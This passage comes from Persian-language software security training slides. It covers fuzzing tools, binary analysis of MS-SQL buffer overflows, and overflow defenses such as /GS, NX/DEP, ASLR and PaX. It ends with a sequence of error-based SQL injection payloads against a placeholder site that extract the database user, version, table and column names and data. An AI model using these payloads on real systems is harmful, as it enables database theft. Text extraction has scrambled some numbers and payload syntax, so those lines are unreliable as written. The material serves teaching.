 ‫کنترل کردن روال اجرای نرم افزار توسط ‪ debugger‬همزمان با ‪Fuzzing‬‬        ‫‪‬‬
‫فراهم آوردن مجدد شرایط بصورت خودکار ، در صورت بروز اختالل در طول‬        ‫‪‬‬
                             ‫‪ ) Fuzzing‬مانند ‪ crash‬کردن نرم افزار(‬
      ‫مانیتور کردن و ذخیره فعالیت های انجام شده در زمان ‪ Fuzzing‬و ...‬   ‫‪‬‬
                                  ‫‖‪―Sulley Fuzzing Framework‬‬        ‫‪‬‬
            ‫‪http://www.fuzzing.org/wp-content/Amini-Portnoy-BHUS07.zip‬‬



                                                                            ‫72‬
                           ‫شناسایی مشکالت امنیتی نرم افزار- ‪Fuzzing‬‬
                                                ‫برخی از ‪ Fuzzer‬های موجود‬            ‫‪‬‬
              ‫‪ :PROTOS‬بررسی موثر پروتکل هایی همچون ‪SNMP ,SIP‬و ...‬               ‫‪‬‬
 ‫‪ :CodeNomicon‬شرکتی تجاری ، اراده دهنده ‪ Fuzzer‬برای بیش از 08 پروتکل‬            ‫‪‬‬
                              ‫مختلف ، وابسته به تیم تحقیقاتی بنیانگذار ‪PROTOS‬‬
 ‫‪ General Fuzzing Framework : SMUDGE‬برای پروتکل های تحت شبکه‬                    ‫‪‬‬
‫‪ : SPIKE‬یکی از شناخته شده ترین ‪ Fuzzer‬های ‪ General‬برای پروتکل های تحت‬           ‫‪‬‬
                                                                         ‫شبکه‬
   ‫‪ : Peach‬یک ‪ framework‬مبتنی بر ‪ Python‬با پشتیبانی از پروتکل های متعدد‬         ‫‪‬‬
                         ‫‪ : MangleMe‬یک ‪ fuzzer‬برای بررسی ‪ Browser‬ها‬             ‫‪‬‬
                                  ‫‪ : Mangle‬یک فازر برای بررسی ‪File-format‬‬       ‫‪‬‬
                                           ‫‪IRC Client Fuzzer : IRCfuzz‬‬          ‫‪‬‬
                                         ‫‪COM Object fuzzer : COMBust‬‬            ‫‪‬‬
                           ‫لیستی از برخی دیگر از ‪ Fuzzer‬های شناخته شده‬              ‫‪‬‬
                             ‫‪http://www.fuzzing.org/fuzzing-software‬‬            ‫‪‬‬



                                                                                    ‫82‬
‫شناسایی مشکالت امنیتی نرم افزار- ‪Fuzzing‬‬




     ‫‪DEMO‬‬




                                      ‫92‬
               ‫شناسایی مشکالت امنیتی نرم افزار- ‪Binary Analyze‬‬
  ‫در صورت در دسترس نبودن کد نرم افزار ، این روش بسیار کارآمد ، و درعین حال مشکل‬          ‫‪‬‬
                                                                                ‫میباشد‬
   ‫بسیاری از مشکالت امنیتی که در نرم افزارهای کد باز رفع شده اند هنوز در نرم افزارهای‬    ‫‪‬‬
                                              ‫انحصاری)‪ (closed-source‬دیده میشوند‬
                                    ‫این روش هنوز یک تکنیک نوپا و ناقص بشمار می آید‬       ‫‪‬‬
  ‫همانند بررسی کد ، در این روش نیز روند و منطق نرم افزار بررسی میگردد ، اما به روش‬       ‫‪‬‬
                                                                      ‫مهندسی معکوس!‬
                                         ‫نیازمند درک و تجربه باال در بررسی زبان ماشین‬    ‫‪‬‬
‫اگرچه تکنیک ‪ Fuzzing‬در بررسی نرم افزارهای ‪ closed-source‬بسیار مفید میباشد اما‬            ‫‪‬‬
 ‫بررسی تمام قابلیت ها و توابع نرم افزار توسط ‪ Fuzzing‬بسیار مشکل و گاهآ نا ممکن است‬
                                                           ‫)‪(Low Code Coverage‬‬
              ‫‪ Binary Audit‬محدوده بیشتری )در واقع کل( از نرم افزار را پوشش می دهد.‬       ‫‪‬‬
    ‫همانند بررسی کد ، توابع آسیب پذیر در فایل باینری نیز دارای مشخصه خاص خود هستند‬       ‫‪‬‬




                                                                                         ‫03‬
                    ‫شناسایی مشکالت امنیتی نرم افزار- ‪Binary Analyze‬‬
                                          ‫روش ها و دیدگاه های مختلف انجام ‪Static Binary Analyze‬‬                  ‫‪‬‬
‫‪ ‬جستجوی ‪ Pattern‬های مربوط به فراخوانی توابع آسیب پذیر مانند ‪ strcpy,strcat,sprintf‬و سایر موارد‬
                                                                                         ‫مشابه‬
‫در صورتی که کیفیت کد نرم افزار پایین باشد و یا هدف یک بررسی سریع و سطحی باشد از این روش استفاده میشود‬        ‫‪‬‬

                                              ‫‪ ‬آنالیز و بررسی حلقه ها)‪ (loop‬و توابع ‪ read/write‬مشکوک‬
                                                ‫:‪A variable indexed write into a character array‬‬
                                                ‫:‪A variable indexed write to a local stack buffer‬‬
                                  ‫:‪A write to a pointer, followed by an increment of that pointer‬‬
                                     ‫:‪A sign extended copy from an attacker-controlled buffer‬‬
 ‫‪ ‬بررسی منطق نرم افزار . برخی از ضعف های امنیتی هیچ ارتباطی با مشکالت ‪Memory corruption‬‬
                           ‫نداشته و ناشی از منطق اشتباه نرم افزار در برخورد با داده ها هستند.‬
                                                              ‫مثال : مشکل امنیتی ‪IIS Double Decode‬‬           ‫‪‬‬
                                         ‫کشف این دسته از مشکالت توسط ‪ Binary Audit‬بسیار مشکل میباشد‬          ‫‪‬‬

                                 ‫‪ ‬بررسی تفاوت های بین نسخه های مختلف یک برنامه آسیب پذیر )‪(Diffing‬‬
                                ‫ممکن است جزئیات مشکل امنیتی دقیقآ منتشر نشود ، اما آگاهی از آنها الزم باشد‬   ‫‪‬‬
           ‫ممکن است تولید کننده نرم افزار بدون اعالم عمومی ، اقدام به رفع یک مشکل امنیتی در نرم افزار کند‬    ‫‪‬‬
               ‫استفاده از ابزارهایی که تفاوت های میان دو نسخه متفاوت از یک فایل را نمایان میکنند )‪(BinDiff‬‬   ‫‪‬‬
 ‫-‪http://www.breakingpointsystems.com/community/blog/exploiting-iis-via-htmlencode‬‬                           ‫‪‬‬
                                                   ‫‪http://www.zynamics.com/files/ms08001.swf‬‬                 ‫‪‬‬

                ‫‪ ‬در همه این موارد ، استفاده از ابزارهای پیشرفته برای کمک به بررسی ، اجتناب ناپذیر است‬
                  ‫بررسی گراف های رسم شده بر اساس بخش های مختلف نرم افزار ، کار را بسیار آسان تر میکند‬        ‫‪‬‬
                                  ‫قابلیت های رسم گراف در نرم افزار ‪ IDA Pro‬و نرم افزار جانبی ‪BinNavy‬‬         ‫‪‬‬

                                                                                                                 ‫13‬
‫شناسایی مشکالت امنیتی نرم افزار- ‪Binary Analyze‬‬




                                             ‫23‬
                 Binary Analyze -‫شناسایی مشکالت امنیتی نرم افزار‬
         ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مثال : مشکل سرریز بافر در‬                            
                                                            sprintf()
mov edx, [ebp+var_24C8]                ;‫متغیر با سایز 4201 بایت که از پکت ارسالی خوانده میشود‬
push edx
push offset aSoftwareMic_17 ; “SOFTWARE\\Microsoft\\Microsoft SQL
Server”...
push offset aSSMssqlserverC ; “%s%s\\MSSQLServer\\CurrentVersion”
lea eax, [ebp+var_84]                  ; ! ‫بافر پشته با سایز 821 بایت‬
push eax
call ds:sprintf
add esp, 10h

 strcpy() ‫ ، ناشی از استفاده اشتباه از‬MS-SQL ‫مشکل امنیتی دیگری در‬                                
mov eax, [ebp+arg_4]
add eax, [ebp+var_218]
push eax
lea ecx, [ebp+var_214]                         ; ‫بافر پشته با حجم 215 بایت که محتوای آن از پکت‬
                                                        ‫دریافت شده و بدون کنترل سایز کپی میشود‬
push ecx
call strcpy
add esp, 8
                                                                                                 33
                                                ‫شناسایی مشکالت امنیتی نرم افزار‬
        ‫سه روش کلی یاد شده هر یک به تنهایی میتوانند نتیجه های خوبی را در حاصل شوند‬             ‫‪‬‬
                          ‫ترکیب روش های فوق ، بازدهی آنالیز را بسیار افزایش میدهد‬              ‫‪‬‬
                         ‫یک دیدگاه در این مورد ، ترکیب ‪ Fuzzing‬با آنالیز کد میباشد‬             ‫‪‬‬
  ‫‪ ‬همزمان با ‪ ، Fuzzing‬سورس کد نیز بررسی میگردد تا میزان ‪ cove-coverage‬در زمان‬
                                                           ‫‪ Fuzzing‬مشخص گردد .‬
‫‪ ‬با این روش میتوان مشخص کرد که کدام یک از بخش های نرم افزار یا کد توسط ‪ Fuzzer‬پوشش‬
                                            ‫داده شده ، و کدام بخش ها عمآل بررسی نشده‬
                                 ‫‪http://en.wikipedia.org/wiki/Code_coverage ‬‬
       ‫دیدگاه دیگر ، ترکیب ‪ Fuzzing‬با آنالیز ‪ Binary‬در زمان اجرای نرم افزار میباشد.‬            ‫‪‬‬
                   ‫‪ ‬استفاده از ‪ Debugger/Disassembler‬ها برای راهنمایی ‪ Fuzzer‬ها‬
                                             ‫‪ ‬افزایش ‪ Code Coverage‬در ‪Fuzzing‬‬
 ‫‪ ‬مقاله جالب ‖‪http://uninformed.org/?v=all&a=27&t=pdf ―Effective Bug Discovery‬‬
           ‫‪ ―Evolutionary Fuzzing System‖ ‬یک ‪ framework‬با دیدی جدید نسبت به ‪Fuzzing‬‬
          ‫‪ ‬فراگرفتن پروتکل های جدید بصورت پویا و کمک گرفتن از آنالیز نرم افزار در زمان اجرا‬
                                         ‫‪http://www.vdalabs.com/tools/efs_gpf.html ‬‬




                                                                                               ‫43‬
                                                     ‫مقابله با حمالت سرریز بافر‬
 ‫اولین و بهترین روش مقابله با این دسته از مشکالت امنیتی ، رعایت نکات امنیتی در زمان‬       ‫‪‬‬
                                                                ‫تولید نرم افزار میباشد‬
                                       ‫استفاده از متدلوژی ‪ SDLC‬در تولید نرم افزار‬         ‫‪‬‬
 ‫مقابله به روش پیشگیری ، تنها در صورتی ممکن است که سورس کد نرم افزار در دسترس‬             ‫‪‬‬
                                                                               ‫باشد ،‬
                                                        ‫اما مشکالتی نیز وجود دارد !‬       ‫‪‬‬
                                                                ‫نرم افزارهای قدیمی‬    ‫‪‬‬
                                                        ‫عدم دسترسی به ‪Developer‬‬       ‫‪‬‬
                                              ‫عدم آگاهی ‪ Developer‬از نکات امنیتی‬      ‫‪‬‬
                                                              ‫اشتباهات برنامه نویسی‬   ‫‪‬‬
                                                  ‫نرم افزار های ‪! Closed-Source‬‬       ‫‪‬‬
‫راهکارهایی برای مقابله با این قبیل مشکالت وجود دارند ، اما هیچ یک مشکل را بطور کامل‬       ‫‪‬‬
                ‫حل نکرده و تنها شرایط برای استفاده از مشکل امنیتی را مشکل تر می کنند .‬
    ‫بسته به شرایط و اختیارات و امکانات در دسترس ، از یک یا چند راهکار استفاده میشود.‬      ‫‪‬‬




                                                                                          ‫53‬
                                             ‫مقابله با حمالت سرریز بافر‬

‫دیدگاه های مختلفی برای مقابله با حمالت سرریز بافر وجود دارد و‬              ‫‪‬‬
                        ‫بر همین اساس روش های مختلف نیز:‬
        ‫‪ ‬تشخیص مشکالت امنیتی در خالل روند تولید ، و گوشزد کردن آنها‬
 ‫‪ ‬سعی در پیشگیری از بروز مشکالت سرریز بافر و اضافه کردن تمهیداتی‬
                                       ‫به برنامه ، در زمان کامپایل کردن‬
‫‪ ‬پیاده سازی تمهیدات امنیتی در سطح سیستم عامل برای تشخیص و یا مقابله‬
                                                  ‫با حمالت سرریز بافر‬
      ‫‪ ‬استفاده از بسته های نرم افزاری الحاقی به سیستم عامل ، برای جبران‬
                                          ‫کمبود های امنیتی سیستم عامل‬
     ‫‪ ‬استفاده ازبسته های نرم افزاری جانبی ، برای جبران و یا تکمیل کمبود‬
                                                ‫های امنیتی سیستم عامل‬
   ‫‪ ‬ترکیب امکانات امنیتی سیستم عامل با امکانات اراده شده توسط پردازنده‬


                                                                           ‫63‬
                                                                              ‫مقابله با حمالت سرریز بافر‬
                                                                                                         ‫کامپایلرهای امن‬   ‫‪‬‬
                                                                                        ‫‪Visual Studio >2003 ‬‬
                                                         ‫محافظت در برابر حمالت سرریز بافر در ‪Stack‬‬                 ‫‪‬‬
‫اساس بخش زیادی از امنیت در مقابل حمالت ‪ stack overflow‬در ویندوز سرور 1‪ 2003 SP‬و 2‪ XP SP‬و نسخه‬                      ‫‪‬‬
                                                                                             ‫های جدید تر‬
       ‫اضافه کردن بخش هایی به کد در زمان کامپایل )‪ (Buffer Security Checks‬برای کنترل صحت ‪return‬‬                    ‫‪‬‬
                                                              ‫‪ address‬ها و سایر بخش های مهم ‪Stack‬‬
                                                                        ‫آشنایی با مفهوم ‪Stack Cookies‬‬              ‫‪‬‬
                                ‫اضافه شده به ‪ Visual Studio‬از نسخه 3002 و فعال بصورت پیشفرض‬                        ‫‪‬‬
                                     ‫‪ /GS‬مشکالت امنیتی را حل نمیکند بلکه استفاده از آنها را مشکل میکند‬             ‫‪‬‬
                                                ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی وجود دارد‬               ‫‪‬‬
                                                       ‫بازنویسی اشاره گر ‪ SEH‬برای اجرای کد در حافظه‬       ‫‪‬‬
                        ‫‪http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf‬‬             ‫‪‬‬
                                  ‫استفاده از ‪ /SafeSEH‬برای محافظت از اشاره گر ‪ SEH‬و مقابله با مشکل ‪/GS‬‬             ‫‪‬‬
   ‫کلیه بخش های نرم افزار میبایست توسط این مکانیزم کامپایل شده باشند. وجود برنامه ها / توابع کتابخانه ای محافظت‬    ‫‪‬‬
                                                                                  ‫نشده ، کل سیستم را تهدید میکند‬
                                       ‫‪ ‬ماژول های اضافه شده به ‪( StackGuard , ProPolice ,…) GCC‬‬
                                                                             ‫آستفاده از ایده ‪Stack Canaries‬‬        ‫‪‬‬
                                                     ‫قابل استفاده در 1.3> ‪ GCC‬با سویچ ‪-fstack-protector‬‬            ‫‪‬‬
                                                                      ‫فعال بصورت پیشفرض در 1.4> ‪GCC‬‬                ‫‪‬‬
                                                               ‫تکنیک هایی برای دور زدن این مکانیزم امنیتی :‬        ‫‪‬‬
                  ‫‪http://www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf‬‬              ‫‪‬‬




                                                                                                                           ‫73‬
                                                                                           ‫مقابله با حمالت سرریز بافر‬
                                                                                                        ‫امکانات ارائه شده توسط پردازنده‬       ‫‪‬‬
                                                                                                           ‫‪(No eXecute) NX Bit‬‬            ‫‪‬‬
                                                                   ‫تقسیم نواحی مختلف حافظه برای ذخیره داده ها و یا دستورات پردازنده‬   ‫‪‬‬
‫پیدا سازی شده در پردازنده های ‪ Intel‬از نسل 4 ‪ AMD ، Pentium‬و ‪ . SPARC‬پردازنده های 46 بیتی پیش از انواع 23 بیتی به این‬                 ‫‪‬‬
                                                                                                                   ‫قابلیت مجهز شدند‬
     ‫پردازنده مجهز به ‪ NX/DX‬به تنهایی قادر به جلوگیری از حمالت نیست بلکه این قابلیت میبایست توسط سیستم عامل به کار گرفته شود‬          ‫‪‬‬
                                ‫تقریبآ تمامی سیستم های عامل کنونی ) نسخ جاری و جدید ( هر یک به نحوی از این قابلیت استفاده میکنند.‬     ‫‪‬‬
 ‫‪ NX bit‬در واقع اشاره به آخرین بیت معنی دار از ‪ Page table entry‬در حافظه دارد . 0 بودن این بیت به معنی ‪ executable‬بودن‬                ‫‪‬‬
                                             ‫محتوای این بخش )‪ (page‬و 1 بودن به معانی این است که این بخش تنها حاوی داده ها است.‬
                       ‫در سیستم های ‪ 32bit‬این بیت در واقع وجود ندارد و این راهکار بصورت ‪ Software Emulated‬اجرا میگردد‬                 ‫‪‬‬
                                                  ‫‪ NX‬امکان مقابله با حمالت ‪ Stack Overflow‬و ‪ Heap Overflow‬را میسر میکند‬               ‫‪‬‬

                                                                                        ‫تمهیدات پیاده سازی شده در سطح سیستم عامل‬              ‫‪‬‬
   ‫بسیاری از قابلیت های امنیتی پیاده سازی شده در سطح سیستم عامل مبتنی بر ‪ NX‬میباشد و هر سیستم عامل نسخه و روشی‬                            ‫‪‬‬
                                                                     ‫مربوط به خود را معماری کرده و بکار می برد .‬
                          ‫در صورت عدم وجود ‪ CPU‬مجهز به ‪ NX‬این قابلیت بصورت کامآل مجازی پیاده سازی میگردد‬                                  ‫‪‬‬
 ‫)‪ (Address Space Layout Randomization‬یکی دیگر از تکنیک های مورد استفاده برای مقابله با حمالت سرریز‬                                       ‫‪‬‬
                                                                                                       ‫بافر میباشد‬
 ‫مفهوم ‪ ASLR‬در سیستم عامل های مختلف با نام های مختلفی پیاده سازی شده اما وجوه مشترک بسیاری میان آنها وجود دارد‬                            ‫‪‬‬
  ‫‪ ASLR‬بصورت تصادفی اقدام به موقعیت دهی به بخش های مختلف یک پروسه در حافظه مینماید که عمومآ شامل ‪Base‬‬                                     ‫‪‬‬
                ‫‪ ، Address‬موقیت قرار گرفتن توابع کتابخانه ایی ، ‪ Stack‬و ‪ Head‬در محدوده آدرس آن پروسه میگردد.‬




                                                                                                                                              ‫83‬
                                                        ‫مقابله با حمالت سرریز بافر‬
                                 ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬       ‫‪‬‬
                                ‫‪ : FreeBSD ‬پشتیبانی از پردازنده های ‪ NX‬از نسخه 3.5‬
              ‫‪ : Linux ‬پشتیبانی از پردازنده های ‪ 32/64bit‬دارای ‪ NX‬از کرنل نسخه 8.6.2‬
     ‫کرنل ‪ 32bit‬ارائه شده توسط برخی نگارش ها مانند 6‪OpenSUSE Ubuntu , Fedora C‬‬      ‫‪‬‬
                      ‫بصورت پیشفرض برای استفاده از ‪ NX‬سخت افزاری تنظیم نشده اند‬
     ‫‪ : RedHat ‬پشتیبانی از ‪ NX‬تمامی ‪ CPU‬هاتوسط راهکار اختصاصی ‪. Exec Shield‬‬
      ‫‪ Emulated-NX‬تنها بر روی پردازنده های 23‪ IA‬پشتیبانی میگردد. ارائه شده در ‪ FC‬و‬
                                                                                ‫‪RHEL‬‬
‫‪ : PAX ‬این تکنولوژی برای پیاده سازی ‪ NX‬در سیستم های فاقد امکان سخت افزاری طراحی شده‬
                                              ‫و کلیه پردازنده های 68‪ x‬را پشتیبانی میکند.‬
                      ‫کرنل لینوکس هنوز بطور پیشفرض این تکنولوژی را بکار نبرده است‬   ‫‪‬‬
  ‫پشتیبانی از ‪,PowerPC ,PA-RISC ,(and 64 bit 32) MIPS ,IA-64 ,AMD64 ,Alpha‬‬          ‫‪‬‬
                                                                       ‫‪SPARC‬‬
    ‫استفاده شده بطور پیشفرض در ‪Adamantix , Hardened Gentoo , Hardened Linux‬‬         ‫‪‬‬

    ‫‪ : Mac OSX ‬پشتیبانی از ‪ NX‬پردازنده های اینتل از نسخه 4.01 و کلیه پردازنده های تحت‬
                                                                             ‫پوشش ‪OSX‬‬




                                                                                           ‫93‬
                                                                                                           ‫مقابله با حمالت سرریز بافر‬
                                                                                    ‫مکانیزم های پیاده سازی شده در سیستم عامل های مختلف:‬                        ‫‪‬‬
              ‫‪ : Windows‬پشتیبانی از ‪ NX‬برای اولین بار در معماری 68‪ x‬از نسخه 2‪ XP SP‬و 1‪2003 Server SP‬‬                                                       ‫‪‬‬
                                                             ‫ارائه شده تحت نام ‪( Data Execution Prevention ) DEP‬‬                                       ‫‪‬‬
                                                ‫بطور پیشفرض تنها پروسه ها و سرویس های اصلی سیستم عامل محافظت میشوند‬                                    ‫‪‬‬
                                                       ‫در صورت پشتیبانی پردازنده از ‪ DEP ، NX‬بطور خودکار فعال میگردد‬                                   ‫‪‬‬
‫در نسخه های اولیه ‪ ، DEP‬از ‪ ASLR‬استفاده نشده ! امکان دور زدن ‪ DEP‬و حتی غیر فعال کردن این مکانیزم توسط حمالت -‪return‬‬                                    ‫‪‬‬
                                                                                      ‫‪ to-libc‬به همین دلیل میسر میشود.‬
                                               ‫مثالی عینی از حمله به ‪ DEP‬حتی با وجود بکار بستن کلیه تمهیدات امنیتی ‪ NX‬و سیستم عامل!‬                ‫‪‬‬
                ‫‪http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/dcerpc/msdns_zonename.rb‬‬                                       ‫‪‬‬
                                       ‫مقاله ای بسیار جالب از نحوه دور زدن مکانیزم ‪http://uninformed.org/?v=2&a=4 NX+DEP‬‬                           ‫‪‬‬

  ‫‪ (Software DEP) SafeSEH‬تکنولوژی دیگری میباشد که به ‪ NX‬ارتباطی نداشته و برای حفاظت علیه حمالت برای سو استفاده از‬                                      ‫‪‬‬
                                                                                                ‫‪ SEH‬پیاده سازی شده است‬
                                                             ‫استفاده از این تکنولوژی منوط به استفاده نرم افزار از آن در زمان تولید )کامپایل( است‬   ‫‪‬‬
       ‫بکمک ‪ SafeSEH‬سیستم عامل تنها اجازه استفاده از ‪ Exception Handler‬هایی را به نرم افزار میدهد که قبآل تعریف و ‪ register‬شده اند.‬                ‫‪‬‬
                                        ‫ویندوز ‪ Vista‬مبتنی بر نسخه جدید ‪ DEP‬میباشد که از تکنولوژی ‪ ASLR‬بهره می برد.‬                                    ‫‪‬‬
               ‫در صورتی که پردازده از ‪ NX‬پشتیبانی نکند ، ویندوز پشتیبانی از این امکان بصورت ‪ Software-Emulated‬را ندارد‬                                 ‫‪‬‬

                                                        ‫‪ : NetBSD‬بهره گیری از ‪ Non Executable Heap/Stack‬از نسخه 0.2‬                                        ‫‪‬‬
                      ‫پشتیبانی از ‪amd64, sparc64, sparc (sun4m, sun4d), powerpc (ibm4xx), alpha, sh5, hppa‬‬                                             ‫‪‬‬
                                                                  ‫عدم پشتیبانی از ‪ Emulated-NX‬بطور پیشفرض‬                                              ‫‪‬‬

                                ‫‪ : OpenBSD‬پشتیبانی از ‪ NX‬تحت تکنولوژی اختصاصی با نام ‪ ( WAX ) W^X‬از نسخه 3.3‬                                               ‫‪‬‬
                                                                                      ‫پشتیبانی از ‪Alpha, AMD64, HPPA, and SPARC‬‬                        ‫‪‬‬
                                                                                         ‫پشتیباتی از ‪ Emulated-NX‬در برخی از پردازنده ها‬                ‫‪‬‬

                                                                     ‫‪ : Solaris‬بهره گیری از ‪ Non Executable Stack‬از نسخه 6.2‬                               ‫‪‬‬




                                                                                                                                                               ‫04‬
‫مقابله با حمالت سرریز بافر‬




                        ‫14‬
                                                               ‫مقابله با حمالت سرریز بافر‬
                                                          ‫استفاده از نرم افزارها و الحاقیه های جانبی‬     ‫‪‬‬
                                                                              ‫‪ ‬بهبود امنیت سیستم عامل‬
‫اضافه کردن قابلیت های امنیتی مورد نیاز به سیستم عامل ، در صورت عدم وجود آنها بصورت پیشفرض‬           ‫‪‬‬
                        ‫… , ‪ASLR , Non Executable Stack/Heap , Security Policies‬‬              ‫‪‬‬
                                                                                 ‫‪GRSecurity‬‬   ‫‪‬‬
                                      ‫‪http://www.grsecurity.net/features.php ‬‬
                                                       ‫‪ ‬اضافه کردن ‪ PAX‬به کرنل لینوکس‬
                        ‫‪ ‬مقابله با ‪ Stack/Heap Overflow‬با استفاده از تکنیک های مختلف‬
                                                         ‫‪ ‬بهبود امنیت کامپایلر سیستم عامل‬
                                                          ‫‪ { ... ‬و بسیاری امکانات دیگر!{‬
                                               ‫‪ ‬استفاده از نرم افزارهای جانبی برای مقابله با حمالت‬
                                                         ‫رایج در سیستم عامل های خانواده ویندوز‬      ‫‪‬‬
                                          ‫جبران کمبود های امنیتی سیستم عامل مانند ‪ NX‬و ‪ASLR‬‬         ‫‪‬‬
                      ‫تشخیص حمالت سرریز بافر از طریق مانیتور کردن حافظه و جلوگیری از آنها‬           ‫‪‬‬
                ‫استفاده در کنار قابلیت های امنیتی سیستم عامل ، برای پیچیده تر کردن مکانیزم حمالت‬    ‫‪‬‬
         ‫استفاده در مواردی که ناچار به استفاده از سیستم عامل های نا امن و یا نسخه های قدیمی هستیم‬   ‫‪‬‬
                              ‫استفاده بعنوان ‪(Host Intrusion Prevention System) HIPS‬‬                ‫‪‬‬
                                                  ‫ارائه غالبآ بصورت بسته های نرم افزاری تجاری‬       ‫‪‬‬
                  ‫‪http://www.eeye.com/html/products/blink/index.html : Eeye Blink‬‬             ‫‪‬‬
                                          ‫‪http://www.wehnus.com/ : WhehnTrust‬‬                 ‫‪‬‬
                                         ‫‪http://www.ngsec.com : StackDefender‬‬                 ‫‪‬‬
                                                             ‫... {!‪{Google for more‬‬           ‫‪‬‬




                                                                                                         ‫24‬
                                       ‫حمله به نرم افزارهای تحت وب‬

   ‫روز به روز بر محبوبیت و کاربرد نرم افزارهای تحت وب اضافه میگردد‬      ‫‪‬‬
 ‫نقطه شروع بسیاری از حمالت علیه سیستم ها و شبکه ها نرم افزارهای تحت‬     ‫‪‬‬
                                                           ‫وب میباشد‬
‫در بسیاری از موارد ، نرم افزارهای تحت وب تنها نقطه دسترسی یک نفوذگر‬     ‫‪‬‬
                                  ‫به سیستم های هدف قرار گرفته میباشند‬
      ‫در ادامه برخی از حمالت شایع علیه نرم افزارهای تحت وب و همچنین‬     ‫‪‬‬
 ‫راهکارهایی برای پیشگیری و مقابله با این حمالت مورد بررسی قرار خواهد‬
                                                                ‫گرفت‬




                                                                        ‫34‬
                       ‫حمله به نرم افزارهای تحت وب‬

‫ آشنایی با انواع حمالت مبتنی بر نرم افزارهای تحت وب‬
                      Cross-Site Scripting     

                              SQL Injection    

                         Command Injection     

                    Dynamic code execution     

                   Cookie/Session Hijacking    

                  Parameter/form Tampering     

                           Buffer Overflows    

                         Directory Traversal   

                          Forceful Browsing    

                      Information Leakages     

                       Harvesting Attacks      




                                                       44
                        ‫حمله به نرم افزارهای تحت وب‬

‫‪ ‬آشنایی با آناتومی حمله به سیستم های تحت وب‬
                ‫پویش برای شناسایی نرم افزار تحت وب‬      ‫‪‬‬
‫‪Web Spidering and User directed spidering‬‬       ‫‪‬‬
              ‫‪Discovering Hidden contents‬‬       ‫‪‬‬
‫‪Checking search engines and archive sites‬‬       ‫‪‬‬
          ‫‪Brute-forcing directories and files‬‬   ‫‪‬‬
        ‫‪Identify entry points for user inputs‬‬   ‫‪‬‬

                  ‫جمع آوری اطالعات و شناسایی هدف‬        ‫‪‬‬
                              ‫شناسایی وب سرور‬   ‫‪‬‬
                   ‫شناسایی ‪Application Server‬‬   ‫‪‬‬

                  ‫تست و بررسی وجود آسیب پذیری ها‬        ‫‪‬‬

              ‫طراحی روش حمله و نحوه پیاده سازی آن‬       ‫‪‬‬

                                      ‫پیاده سازی حمله‬   ‫‪‬‬




                                                            ‫54‬
                         ‫حمله به نرم افزارهای تحت وب‬

              ‫‪ ‬بررسی حمالت ‪SQL Injection‬‬
      ‫‪ ‬آشنایی با مکانیزم حمالت ‪SQL Injection‬‬
       ‫‪ ‬نحوه جستجو و شناسایی ‪SQL Injection‬‬
                      ‫‪Blind SQL Injection ‬‬
                     ‫‪Normal SQL Injection ‬‬
               ‫‪ ‬عبور از فرم های اعتبار سنجی‬
   ‫‪ ‬تزریق دستورات ) ‪(SELECT,UNION‬‬
‫‪SELECT,INSERT,UPDATE,DELETE‬‬
 ‫‪ ‬استخراج اطالعات مفید اولیه از بانک اطالعاتی‬
                  ‫‪ ‬مشخص کردن نسخه بانک اطالعاتی‬
‫‪ ‬مشخص کردن نام کاربری مورد استفاده بانک اطالعاتی‬



                                                    ‫64‬
                                                            ‫حمله به نرم افزارهای تحت وب‬
                                     ‫استخراج اطالعات مورد نظر از بانک اطالعاتی بر اساس پیغام های خطا‬           
                                                                         : Integer ‫بررسی پارامتر از نوع‬    
                                                         http://[site]/page.asp?id=1 having 1=1–    
Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate    
                                                    function and there is no GROUP BY clause.
                                                                          : String ‫بررسی پارامتر از نوع‬    
                                                         http://[site]/page.asp?id=x' having 1=1–   
Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate    
                                                    function and there is no GROUP BY clause.
                                                                         ‫استخراج نام کاربر بانک اطالعاتی‬   
                                           http://[site]/page.asp?id=1 or 1=convert(int,(USER))–    
             Syntax error converting the nvarchar value '[DB USER]' to a column of data type int.   

                                                                               ‫استخراج نام بانک اطالعاتی‬   
                                       http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME))–     
             Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int.   

                                                                             ‫استخراج نسخه بانک اطالعاتی‬    
                                   http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION))–       
         Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int.    

                                                                                       ‫استخراج نام سرور‬    
                            http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME))–           
      Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int.      




                                                                                                               47
                                                                    ‫حمله به نرم افزارهای تحت وب‬
                                               )2( ‫استخراج اطالعات مورد نظر از بانک اطالعاتی بر اساس پیغام های خطا‬             
   ‫استخراج نام اولین‬Table
         http://[site]/page.asp?id 1=or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85 –(((
         Syntax error converting the nvarchar value]' TABLE NAME 1 '[to a column of data type int.
   ‫استخراج نام دومین‬Table
         http://[site]/page.asp?id 1=or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name'<TABLE-
          NAME-1 –(('
         Syntax error converting the nvarchar value]' TABLE NAME 2 '[to a column of data type int.
   ‫استخراج نام سومین‬Table
         http://[site]/page.asp?id 1=or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name'<TABLE-
          NAME-2 --(('Syntax error converting the nvarchar value]' TABLE NAME 3 '[to a column of data type int.
   ‫استخراج نام اولین‬Column ‫ در‬Table
         http://[site]/page.asp?id 1=or 1=convert(int),select top 1 column_name from DBNAME.information_schema.columns where
          table_name'=TABLE-NAME-1 –(('
         Syntax error converting the nvarchar value]' COLUMN NAME 1 '[to a column of data type int.
   ‫استخراج نام دومین‬Column ‫ در‬Table
         http://[site]/page.asp?id 1=or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where
          table_name'=TABLE-NAME-1 'and column_name'<COLUMN-NAME-1 –(('
         Syntax error converting the nvarchar value]' COLUMN NAME 2 '[to a column of data type int.
   ‫استخراج اولین‬Field ‫ از اولین‬Row
         http://[site]/page.asp?id 1=or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1 –((
